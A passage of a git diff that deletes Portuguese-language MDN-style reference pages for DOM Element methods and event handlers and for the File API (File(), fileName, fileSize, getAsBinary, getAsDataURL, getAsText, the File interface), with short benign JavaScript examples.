- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.cloneNode">cloneNode</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">deep</a> )</code><br>
- Clone a node, and optionally, all of its contents.</td>
- <td><a href="pt/DOM/Node">Node</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.dispatchEvent">dispatchEvent</a>( <a href="pt/DOM/event">event</a> )</code><br>
- Dispatch an event to this node in the DOM.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.focus">focus</a>()</code><br>
- Gives keyboard focus to the current element.</td>
- <td>-</td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getAttribute">getAttribute</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve the value of the named attribute from the current node.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getAttributeNS">getAttributeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve the value of the attribute with the specified name and namespace, from the current node.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getAttributeNode">getAttributeNode</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve the node representation of the named attribute from the current node.</td>
- <td><a href="pt/DOM/Attr">Attr</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getAttributeNodeNS">getAttributeNodeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve the node representation of the attribute with the specified name and namespace, from the current node.</td>
- <td><a href="pt/DOM/Attr">Attr</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <th>Nome &amp; Descrição</th>
- <th>Retorna</th>
- <th>Disponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getElementsByTagName">getElementsByTagName</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve a set of all descendant elements, of a particular tag name, from the current element.</td>
- <td><a href="pt/DOM/NodeSet">NodeSet</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Retrieve a set of all descendant elements, of a particular tag name and namespace, from the current element.</td>
- <td><a href="pt/DOM/NodeSet">NodeSet</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.hasAttribute">hasAttribute</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Check if the element has the specified attribute, or not.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.hasAttributeNS">hasAttributeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Check if the element has the specified attribute, in the specified namespace, or not.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.hasAttributes">hasAttributes</a>()</code><br>
- Check if the element has any attributes, or not.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.hasChildNodes">hasChildNodes</a>()</code><br>
- Check if the element has any child nodes, or not.</td>
- <td><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.insertBefore">insertBefore</a>( <a href="pt/DOM/Node">insertedNode</a>, <a href="pt/DOM/Node">adjacentNode</a> )</code><br>
- Inserts the first node before the second, child, Node in the DOM.</td>
- <td><a href="pt/DOM/Node">Node</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.normalize">normalize</a>()</code><br>
- Clean up all the text nodes under this element (merge adjacent, remove empty).</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.removeAttribute">removeAttribute</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Remove the named attribute from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.removeAttributeNS">removeAttributeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Remove the attribute with the specified name and namespace, from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <th>Nome &amp; Descrição</th>
- <th>Retorna</th>
- <th>Disponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.removeAttributeNode">removeAttributeNode</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
- Remove the node representation of the named attribute from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.removeChild">removeChild</a>( <a href="pt/DOM/Node">removedNode</a> )</code><br>
- Removes a child node from the current element.</td>
- <td><a href="pt/DOM/Node">Node</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.removeEventListener">removeEventListener</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">type</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Function">handler</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">useCapture</a> )</code><br>
- Removes an event listener from the element.</td>
- <td>-</td>
- <td><small><a href="pt/DOM/event">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.replaceChild">replaceChild</a>( <a href="pt/DOM/Node">insertedNode</a>, <a href="pt/DOM/Node">replacedNode</a> )</code><br>
- Replaces one child node in the current element with another.</td>
- <td><a href="pt/DOM/Node">Node</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.scrollIntoView">scrollIntoView</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">alignWithTop</a> )</code><br>
- Scrolls the page until the element gets into the view.</td>
- <td>-</td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.setAttribute">setAttribute</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Object">value</a> )</code><br>
- Set the value of the named attribute from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.setAttributeNS">setAttributeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Object">value</a> )</code><br>
- Set the value of the attribute with the specified name and namespace, from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.setAttributeNode">setAttributeNode</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="pt/DOM/Attr">attrNode</a> )</code><br>
- Set the node representation of the named attribute from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="pt/DOM/Attr">attrNode</a> )</code><br>
- Set the node representation of the attribute with the specified name and namespace, from the current node.</td>
- <td>-</td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Event_Handlers" name="Event_Handlers">Event Handlers</h3>
-
-<p>These are properties that correspond to the HTML 'on' event attributes.</p>
-
-<p>Unlike the corresponding attributes, the values of these properties are functions (or any other object implementing the <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener">EventListener</a> interface) rather than a string. In fact, assigning an event attribute in HTML creates a wrapper function around the specified code. For example, given the following HTML:</p>
-
-<pre>&lt;div onclick="foo();"&gt;click me!&lt;/div&gt;
-</pre>
-
-<p>If <code>element</code> is a reference to this <code>div</code>, the value of <code>element.onclick</code> is effectively:</p>
-
-<pre>function onclick(event) {
- foo();
-}
-</pre>
-
-<p>Note how the <a href="pt/DOM/event">event</a> object is passed as parameter <code>event</code> to this wrapper function.</p>
-
-<dl>
- <dt><a href="pt/DOM/element.onblur">onblur</a></dt>
- <dd>Returns the event handling code for the blur event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onchange">onchange</a></dt>
- <dd>Returns the event handling code for the change event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onclick">onclick</a></dt>
- <dd>Returns the event handling code for the click event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.ondblclick">ondblclick</a></dt>
- <dd>Returns the event handling code for the dblclick event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onfocus">onfocus</a></dt>
- <dd>Returns the event handling code for the focus event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onkeydown">onkeydown</a></dt>
- <dd>Returns the event handling code for the keydown event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onkeypress">onkeypress</a></dt>
- <dd>Returns the event handling code for the keypress event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onkeyup">onkeyup</a></dt>
- <dd>Returns the event handling code for the keyup event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onmousedown">onmousedown</a></dt>
- <dd>Returns the event handling code for the mousedown event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onmousemove">onmousemove</a></dt>
- <dd>Returns the event handling code for the mousemove event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onmouseout">onmouseout</a></dt>
- <dd>Returns the event handling code for the mouseout event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onmouseover">onmouseover</a></dt>
- <dd>Returns the event handling code for the mouseover event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onmouseup">onmouseup</a></dt>
- <dd>Returns the event handling code for the mouseup event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onresize">onresize</a></dt>
- <dd>Returns the event handling code for the resize event.</dd>
-</dl>
-
-<dl>
- <dt><a href="pt/DOM/element.onscroll">onscroll</a></dt>
- <dd>Returns the event handling code for the scroll event.</dd>
-</dl>
-
-<div class="noinclude"> </div>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("api.Element")}}</p>
diff --git a/files/pt-pt/web/api/file/file/index.html b/files/pt-pt/web/api/file/file/index.html
deleted file mode 100644
index a785c59a41..0000000000
--- a/files/pt-pt/web/api/file/file/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: File.File()
-slug: Web/API/File/File
-tags:
- - API
- - Construtor
- - File API
- - Referencia
-translation_of: Web/API/File/File
----
-<div>{{APIRef("File")}}</div>
-
-<p>O construtor <code><strong>File()</strong></code> cria uma instância do objeto {{domxref("File")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">new File(bits, name[, options]);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>bits</code></dt>
- <dd>Uma {{jsxref("Array")}} de objetos {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("USVString")}}, ou um misto de tais objetos, que será posto no {{domxref("File")}}. Objetos <code>USVString</code> são codificados em UTF-8.</dd>
- <dt><code>name</code></dt>
- <dd>Uma {{domxref("USVString")}} que representa o nome do ficheiro ou o caminho para o ficheiro.</dd>
- <dt><code>options</code> {{optional_inline}}</dt>
- <dd>Um objeto com atributos opcionais para o ficheiro. As opções disponíveis são:
- <ul>
- <li><code>type</code>: Uma {{domxref("DOMString")}} que representa o tipo MIME do conteúdo será posto no ficheiro. Tem um valor pré-definido de <code>""</code>.</li>
- <li><code>lastModified</code>: Um número que representa o número de milissegundos entre o início da era Unix e a última data em que o ficheiro foi modificado. Tem um valor pré-definido de {{jsxref("Date.now()")}}.</li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js notranslate">var file = new File(["foo"], "foo.txt", {
- type: "text/plain",
-});</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.File.File")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
- <li>{{domxref("Blob")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/filename/index.html b/files/pt-pt/web/api/file/filename/index.html
deleted file mode 100644
index 0e0ee197ae..0000000000
--- a/files/pt-pt/web/api/file/filename/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: File.fileName
-slug: Web/API/File/fileName
-tags:
- - API
- - DOM
- - Ficheiros
- - File API
- - Non-standard
- - Obsoleto
- - Propriedade
- - Referencia
-translation_of: Web/API/File/fileName
----
-<div>{{APIRef("File API")}}{{non-standard_header}} {{obsolete_header(7.0)}}</div>
-
-<p>Retorna o nome do ficheiro. Por razões de segurança o caminho é excluído desta propriedade.</p>
-
-<div class="note">Esta propriedade está obsoleta. Use antes {{domxref("File.name")}}.</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>name</em> = <em>instanceOfFile</em>.fileName;</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Uma <em>string</em></p>
-
-<h2 id="Specification" name="Specification">Especificação</h2>
-
-<p>Não faz parte duma especificação.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File.name")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/filesize/index.html b/files/pt-pt/web/api/file/filesize/index.html
deleted file mode 100644
index e17676ecee..0000000000
--- a/files/pt-pt/web/api/file/filesize/index.html
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: File.fileSize
-slug: Web/API/File/fileSize
-tags:
- - API
- - DOM
- - Ficheiros
- - File API
- - Non-standard
- - Obsoleto
- - Propriedade
- - Referencia
-translation_of: Web/API/File/fileSize
----
-<p>{{APIRef("File API") }}{{non-standard_header}} {{deprecated_header(7.0)}}</p>
-
-<p>Retorna o tamanho do ficheiro em <em>bytes</em>.</p>
-
-<div class="note">Esta propriedade está obsoleta. Use antes {{domxref("Blob.size")}}.</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>size</em> = <em>instanceOfFile</em>.fileSize;</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Um número.</p>
-
-<h2 id="Especificação">Especificação</h2>
-
-<p>Não faz parte de nenhuma especificação.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("Blob.size")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/getasbinary/index.html b/files/pt-pt/web/api/file/getasbinary/index.html
deleted file mode 100644
index 8ec42cf1f2..0000000000
--- a/files/pt-pt/web/api/file/getasbinary/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: File.getAsBinary()
-slug: Web/API/File/getAsBinary
-tags:
- - API
- - Ficheiros
- - File API
- - Non-standard
- - Obsoleto
- - Referencia
- - metodo
-translation_of: Web/API/File/getAsBinary
----
-<p>{{APIRef("File API")}}</p>
-
-<p>{{non-standard_header}}</p>
-
-<p>{{obsolete_header(7.0)}}</p>
-
-<h2 id="Sumário">Sumário</h2>
-
-<p>O método <code>getAsBinary</code> permite aceder aos dados de um ficheiro num formato <em>raw</em> binário.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Este método é obsoleto; use antes o método {{domxref("FileReader.readAsBinaryString()","readAsBinaryString()")}} ou {{domxref("FileReader.readAsArrayBuffer()","readAsArrayBuffer()")}} de {{domxref("FileReader")}}.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="notranslate">var binary = <em>instanceOfFile</em>.getAsBinary();</pre>
-
-<h3 id="Retorna">Retorna</h3>
-
-<p>Uma <em>string</em>.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush:js; notranslate">// fileInput é um HTMLInputElement: &lt;input type="file" id="myfileinput" multiple&gt;
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// objeto com os tipos de media permitidos
-var accept = {
- binary : ["image/png", "image/jpeg"],
- text : ["text/plain", "text/css", "application/xml", "text/html"]
-};
-
-var file;
-
-for (var i = 0; i &lt; files.length; i++) {
- file = files[i];
-
- // se o ficheiro pode ser detetado
- if (file !== null) {
- if (accept.binary.indexOf(file.type) &gt; -1) {
- // file contem dados binarios, num formato permitido
- var data = file.getAsBinary();
- } else if (accept.text.indexOf(file.type) &gt; -1) {
- // file contem texto, num formato permitido
- var data = file.getAsText();
- // modificar dados com métodos de string
- }
- }
-}</pre>
-
-<h2 id="Specification" name="Specification">Especificação</h2>
-
-<p>Não pertence a nenhuma especificação.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File")}}</li>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/getasdataurl/index.html b/files/pt-pt/web/api/file/getasdataurl/index.html
deleted file mode 100644
index e3e5bae4b3..0000000000
--- a/files/pt-pt/web/api/file/getasdataurl/index.html
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: File.getAsDataURL()
-slug: Web/API/File/getAsDataURL
-tags:
- - API
- - Ficheiros
- - File API
- - Non-standard
- - Obsoleto
- - Referencia
- - metodo
-translation_of: Web/API/File/getAsDataURL
----
-<div>{{APIRef("File API") }}</div>
-
-<p>{{non-standard_header}}</p>
-
-<p>{{deprecated_header(7.0)}}</p>
-
-<h2 id="Sumário">Sumário</h2>
-
-<p><span class="seoSummary">O método <code>getAsDataURL</code> retorna um URL em estilo <a href="/en-US/docs/data_URIs"><code>data:</code></a> que codifica todo o conteúdo do ficheiro em questão.</span></p>
-
-<div class="note">
-<p><strong>Nota:</strong> Este método está obsoleto: use antes o método  {{domxref("FileReader.readAsDataURL","readAsDataURL()")}} de {{domxref("FileReader")}}.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="notranslate">var url = <var>instanceOfFile</var>.getAsDataURL();</pre>
-
-<h3 id="Retorna">Retorna</h3>
-
-<p>Uma string a representar um URL de estilo <a href="/en-US/docs/data_URIs"><code>data:</code></a></p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js notranslate">// fileInput é um HTMLInputElement: &lt;input type="file" id="myfileinput" multiple&gt;
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// accept é um array com tipos de ficheiros aceites
-var accept = ["image/png"];
-
-// img é um HTMLImgElement: &lt;img id="myimg"&gt;
-var img = document.getElementById("myimg");
-
-// se aceitamos o primeiro tipo de ficheiro selecionado
-if (accept.indexOf(files[0].mediaType) &gt; -1) {
- // apresentar a imagem
- // igual a &lt;img src="data:image/png,&lt;imagedata&gt;"&gt;
- img.src = files[0].getAsDataURL();
-}
-</pre>
-
-<h2 id="Especificação">Especificação</h2>
-
-<p>Não pertence a nenhuma especificação.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File")}}</li>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/getastext/index.html b/files/pt-pt/web/api/file/getastext/index.html
deleted file mode 100644
index b20229737e..0000000000
--- a/files/pt-pt/web/api/file/getastext/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: File.getAsText()
-slug: Web/API/File/getAsText
-tags:
- - API
- - Ficheiros
- - File API
- - Non-standard
- - Obsoleto
- - Referencia
- - metodo
-translation_of: Web/API/File/getAsText
----
-<p>{{APIRef("File API") }}{{non-standard_header}}</p>
-
-<p>{{obsolete_header(7.0)}}</p>
-
-<h2 id="Sumário">Sumário</h2>
-
-<p>O método <code>getAsText</code> oferece os dados do ficheiro num formato de texto de acordo com uma codificação.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Este método está obsoleto; use antes o método {{domxref("FileReader.readAsText()","readAsText()")}} de {{domxref("FileReader")}}.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="notranslate">var <var>str</var> = <var>instanceOfFile</var>.getAsText(<var>encoding</var>);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><var>encoding</var></dt>
- <dd>Uma <em>string</em> a indicar qual a codificação para usar nos dados devolvidos. Se o <em>string</em> estiver vazio, é utilizado UTF-8.</dd>
-</dl>
-
-<h3 id="Retorna">Retorna</h3>
-
-<p>A string que contem os dados do ficheiro num formato de texto especificado pelo <code>encoding</code>.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js notranslate">// fileInput é um HTMLInputElement: &lt;input type="file" id="myfileinput" multiple&gt;
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// object com os formatos de media validos
-var accept = {
- binary : ["image/png", "image/jpeg"],
- text : ["text/plain", "text/css", "application/xml", "text/html"]
-};
-
-var file;
-
-for (var i = 0; i &lt; files.length; i++) {
- file = files[i];
-
- // se o formato do ficheiro foi detetado
- if (file !== null) {
- if (accept.text.indexOf(file.mediaType) &gt; -1) {
- // file contem texto, num formato permitido
- // make sure it's encoded as utf-8
- var data = file.getAsText("utf-8");
- // modificar dados com métodos de string
-
- } else if (accept.binary.indexOf(file.mediaType) &gt; -1) {
- // binario
- }
- }
-}</pre>
-
-<h2 id="Especificação">Especificação</h2>
-
-<p>Não pertence a nenhuma especificação.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File")}}</li>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/index.html b/files/pt-pt/web/api/file/index.html
deleted file mode 100644
index 43e85438cb..0000000000
--- a/files/pt-pt/web/api/file/index.html
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: File
-slug: Web/API/File
-tags:
- - API
- - File API
- - Interface
- - NeedsTranslation
- - Reference
- - TopicStub
- - Web
-translation_of: Web/API/File
----
-<div>{{APIRef}}</div>
-
-<p>The <strong><code>File</code></strong> interface provides information about files and allows JavaScript in a web page to access their content.</p>
-
-<p><code>File</code> objects are generally retrieved from a {{DOMxRef("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{DOMxRef("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{DOMxRef("HTMLCanvasElement")}}.</p>
-
-<p>A <code>File</code> object is a specific kind of a {{DOMxRef("Blob")}}, and can be used in any context that a Blob can. In particular, {{DOMxRef("FileReader")}}, {{DOMxRef("URL.createObjectURL()")}}, {{DOMxRef("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, and {{DOMxRef("XMLHttpRequest", "", "send()")}} accept both <code>Blob</code>s and <code>File</code>s.</p>
-
-<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for more information and examples.</p>
-
-<p>{{InheritanceDiagram}}</p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<dl>
- <dt>{{DOMxRef("File.File", "File()")}}</dt>
- <dd>Returns a newly constructed <code>File</code>.</dd>
-</dl>
-
-<h2 id="Instance_properties">Instance properties</h2>
-
-<dl>
- <dt>{{DOMxRef("File.prototype.lastModified")}} {{ReadOnlyInline}}</dt>
- <dd>Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight).</dd>
- <dt>{{DOMxRef("File.prototype.lastModifiedDate")}} {{Deprecated_Inline}} {{ReadOnlyInline}}</dt>
- <dd>Returns the last modified {{JSxRef("Date")}} of the file referenced by the <code>File</code> object.</dd>
- <dt>{{DOMxRef("File.prototype.name")}}{{ReadOnlyInline}}</dt>
- <dd>Returns the name of the file referenced by the <code>File</code> object.</dd>
- <dt>{{DOMxRef("File.prototype.webkitRelativePath")}} {{Non-standard_Inline}} {{ReadOnlyInline}}</dt>
- <dd>Returns the path the URL of the {{DOMxRef("File")}} is relative to.</dd>
-</dl>
-
-<p><code>File</code> implements {{DOMxRef("Blob")}}, so it also has the following properties available to it:</p>
-
-<dl>
- <dt>{{DOMxRef("File.prototype.size")}} {{ReadOnlyInline}}</dt>
- <dd>Returns the size of the file in bytes.</dd>
- <dt>{{DOMxRef("File.prototype.type")}} {{ReadOnlyInline}}</dt>
- <dd>Returns the <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>type of the file.</dd>
-</dl>
-
-<h2 id="Instance_methods">Instance methods</h2>
-
-<p><em>The <code>File</code> interface doesn't define any methods, but inherits methods from the {{DOMxRef("Blob")}} interface:</em></p>
-
-<dl>
- <dt>{{DOMxRef("Blob.prototype.slice()", "Blob.prototype.slice([start[, end[, contentType]]])")}}</dt>
- <dd>Returns a new <code>Blob</code> object containing the data in the specified range of bytes of the source <code>Blob</code>.</dd>
- <dt>{{DOMxRef("Blob.prototype.stream()")}}</dt>
- <dd>Transforms the <code>File</code> into a {{DOMxRef("ReadableStream")}} that can be used to read the <code>File</code> contents.</dd>
- <dt>{{DOMxRef("Blob.prototype.text()")}}</dt>
- <dd>Transforms the <code>File</code> into a stream and reads it to completion. It returns a promise that resolves with a {{DOMxRef("USVString")}} (text).</dd>
- <dt>{{DOMxRef("Blob.prototype.arrayBuffer()")}}</dt>
- <dd>Transforms the <code>File</code> into a stream and reads it to completion. It returns a promise that resolves with an {{DOMxRef("ArrayBuffer")}}.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API', "#file-section", "The <code>File</code> interface")}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("api.File")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li>
- <li>{{DOMxRef("FileReader")}}</li>
- <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (for privileged code running in Gecko, such as Firefox add-ons)</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/lastmodified/index.html b/files/pt-pt/web/api/file/lastmodified/index.html
deleted file mode 100644
index 9b05f6f3cf..0000000000
--- a/files/pt-pt/web/api/file/lastmodified/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: File.lastModified
-slug: Web/API/File/lastModified
-tags:
